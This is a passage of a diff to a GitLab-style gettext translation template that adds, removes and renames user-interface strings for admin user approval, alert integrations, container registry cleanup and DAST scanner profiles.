-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
